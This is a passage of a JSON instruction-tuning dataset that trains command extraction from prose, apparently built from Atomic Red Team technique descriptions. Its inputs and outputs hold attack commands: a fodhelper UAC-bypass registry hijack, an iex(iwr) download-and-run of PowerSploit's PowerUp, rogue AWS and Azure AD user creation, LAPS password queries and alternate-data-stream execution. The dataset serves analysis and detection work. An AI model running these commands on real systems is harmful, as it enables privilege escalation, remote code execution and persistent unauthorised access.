[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This PowerShell script leverages Windows 10's Features on Demand Helper to bypass UAC, executing with the following commands that will launch a command prompt: New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\fodhelper.exe\"; To bypass User Account Control on Windows 10 and open an administrative command prompt, use the following PowerShell commands: New-Item \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Force\nNew-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"DelegateExecute\" -Value \"\" -Force\nSet-ItemProperty \"HKCU:\\software\\classes\\ms-settings\\shell\\open\\command\" -Name \"(default)\" -Value \"#{executable_binary}\" -Force\nStart-Process \"C:\\Windows\\System32\\ComputerDefaults.exe\"",
    "output": "{\"command_list\": [\"New-Item \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Force\\nNew-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"DelegateExecute\\\" -Value \\\"\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"(default)\\\" -Value \\\"#{executable_binary}\\\" -Force\\nStart-Process \\\"C:\\\\Windows\\\\System32\\\\fodhelper.exe\\\"\\n\", \"New-Item \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Force\\nNew-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"DelegateExecute\\\" -Value \\\"\\\" -Force\\nSet-ItemProperty \\\"HKCU:\\\\software\\\\classes\\\\ms-settings\\\\shell\\\\open\\\\command\\\" -Name \\\"(default)\\\" -Value \\\"#{executable_binary}\\\" -Force\\nStart-Process \\\"C:\\\\Windows\\\\System32\\\\ComputerDefaults.exe\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A new IAM user will be created in AWS, allowing malicious activity to go unnoticed, by executing the command: aws iam create-user --user-name #{username}\n; For persistent access without disrupting existing users, execute this command to create a new Azure AD user: Connect-AzureAD\n$userprincipalname = \"#{userprincipalname}\"\n$username = \"#{username}\"      \n$password = \"#{password}\"\n$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile\n$PasswordProfile.Password = $password\nNew-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username      ",
    "output": "{\"command_list\": [\"aws iam create-user --user-name #{username}\\n\", \"Connect-AzureAD\\n$userprincipalname = \\\"#{userprincipalname}\\\"\\n$username = \\\"#{username}\\\"      \\n$password = \\\"#{password}\\\"\\n$PasswordProfile = New-Object -TypeName Microsoft.Open.AzureAD.Model.PasswordProfile\\n$PasswordProfile.Password = $password\\nNew-AzureADUser -DisplayName $username -PasswordProfile $PasswordProfile -UserPrincipalName $userprincipalname -AccountEnabled $true -MailNickName $username      \"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The specified service can be stopped and set to an inactive state, with the option to restart it afterward, via the command: sudo systemctl stop #{service_name}; If you need to stop a running service, execute this command which sends a termination signal: sudo killall -SIGTERM #{process_name}",
    "output": "{\"command_list\": [\"sudo systemctl stop #{service_name}\\n\", \"sudo killall -SIGTERM #{process_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test performs an LDAP subtree search with the command: Get-adcomputer -SearchScope subtree -filter \"name -like '*'\" -Properties *, listing all properties including ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime.; This test runs an LDAP query with adfind, displaying all attributes along with LAPS attributes ms-mcs-AdmPwd and ms-mcs-AdmPwdExpirationTime, via the command: & \"PathToAtomicsFolder\\..\\ExternalPayloads\\AdFind.exe\" #{optional_args} -h #{domain} -s subtree -f \"objectclass=computer\" *",
    "output": "{\"command_list\": [\"Get-adcomputer -SearchScope subtree -filter \\\"name -like '*'\\\" -Properties *\", \"& \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\AdFind.exe\\\" #{optional_args} -h #{domain} -s subtree -f \\\"objectclass=computer\\\" *\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This operation requires Apple Dev Tools; once installed, use the command: setfile -a V #{filename}\n; To conceal a directory on MacOS, use the following commands: touch /var/tmp/T1564.001_mac.txt\nchflags hidden /var/tmp/T1564.001_mac.txt",
    "output": "{\"command_list\": [\"setfile -a V #{filename}\\n\", \"touch /var/tmp/T1564.001_mac.txt\\nchflags hidden /var/tmp/T1564.001_mac.txt\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For creating an Alternate Data Stream, write access is necessary. Use the command: echo cmd /c echo \"Shell code execution.\"> #{file_name}:#{ads_filename}\nfor /f \"usebackq delims=?\" %i in (#{file_name}:#{ads_filename}) do %i. You can then check its existence with 'dir /a-d /s /r | find \":$DATA\"' in the %temp%\\nfolder and inspect the data via 'notepad T1564.004_has_ads.txt:adstest.txt'.; To create an Alternate Data Stream using PowerShell, ensure you have write access and then execute the following command: echo \"test\" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value \"test\"\nset-content -path #{file_name} -stream #{ads_filename} -value \"test2\"\nset-content -path . -stream #{ads_filename} -value \"test3\"\n. You can verify the execution by running specific commands in the %temp% directory.",
    "output": "{\"command_list\": [\"echo cmd /c echo \\\"Shell code execution.\\\"> #{file_name}:#{ads_filename}\\nfor /f \\\"usebackq delims=?\\\" %i in (#{file_name}:#{ads_filename}) do %i\\n\", \"echo \\\"test\\\" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value \\\"test\\\"\\nset-content -path #{file_name} -stream #{ads_filename} -value \\\"test2\\\"\\nset-content -path . -stream #{ads_filename} -value \\\"test3\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To modify the permissions of a file or folder, use the following command: chmod #{symbolic_mode} #{file_or_folder}; You can change permissions recursively by executing this command: chmod -R #{numeric_mode} #{file_or_folder}",
    "output": "{\"command_list\": [\"chmod #{symbolic_mode} #{file_or_folder}\\n\", \"chmod -R #{numeric_mode} #{file_or_folder}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    